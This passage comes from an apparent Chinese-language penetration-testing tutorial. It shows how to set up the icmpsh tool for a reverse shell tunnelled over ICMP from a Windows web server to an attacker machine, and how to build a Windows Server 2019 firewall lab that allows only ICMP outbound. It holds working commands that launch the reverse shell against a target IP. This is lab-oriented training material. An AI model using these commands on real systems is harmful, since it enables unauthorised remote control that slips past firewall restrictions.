六、icmpsh反弹shell
0 icmpsh简介
icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的 POSIX 兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。
该工具干净、简单且便携。该目标Windows机器上从(客户端)运行,它是用C写的,在Windows受害者机器上运行服务器端,在攻击者机器上的任何平台上运行服务端。
1 下载地址
https://github.com/bdamele/icmpsh
2 工具安装
如果遇到报错,请看下面的报错解决方法
#下载工具 git clone https://github.com/inquisb/icmpsh.git #安装依赖 apt-get install python-impacket #关闭本地ICMP应答 sysctl -w net.ipv4.icmp_echo_ignore_all=1
3 V/PS-kali运行icmpsh的控制端
python icmpsh_m.py v/ps-ip attack-ip python icmpsh_m.py 192.168.3.76 192.168.3.88
4 WEB服务器运行
icmpsh.exe -t 192.168.3.76
v/ps接收到shell
使用wireshark抓包可以看到数据包都是ICMP协议
5 报错解决
You need to ``install``Python Impacket library first
解决:
git clone https://github.com/SecureAuthCorp/impacket.git cd impacket pip install -r requirements.txt python setup.py install
如果第三行命令报错
切换普通用户再执行
安装完成后切换用户进行监听
6 局限性
V/PS和WEB服务器必须要能够相互ping通
七、附:隧道场景搭建
windows server 2019环境-icmp出网环境搭建记录
1 WEB服务器环境搭建
设置Windows防火墙策略
1) 启用防火墙
2) 防火墙高级设置(重点)
(1)设置阻止入站/出站连接
打开高级设置
选择属性
域配置文件、专用配置文件、公用配置文件这三个标签中出站连接设置为阻止,确定
再次查看
(2)禁用全部已启用的入站规则
选择入站规则,按照已启用排序,把启用的规则选中,全部禁用
(3)新建入站规则:允许80端口tcp入站
新建一个web服务,仅TCP的80端口入站
选择端口,下一步
选择tcp,输入特定端口80
默认选择允许连接,下一步
选择专用 公用,下一步
随便命名,完成
(4)新建出站规则:允许ICMP协议出站
禁用全部已启用的出站规则:同样点击出站规则,把启用的全部禁用掉
新建一个基于icmp协议的规则
选择自定义,协议和端口
默认,下一步
协议类型选择icmpv4,其余默认,下一步。"这里可以查看几个协议的协议号"
作用域默认任何IP地址,下一步
选择允许连接,下一步
选择专用、公用,下一步
输入命名,完成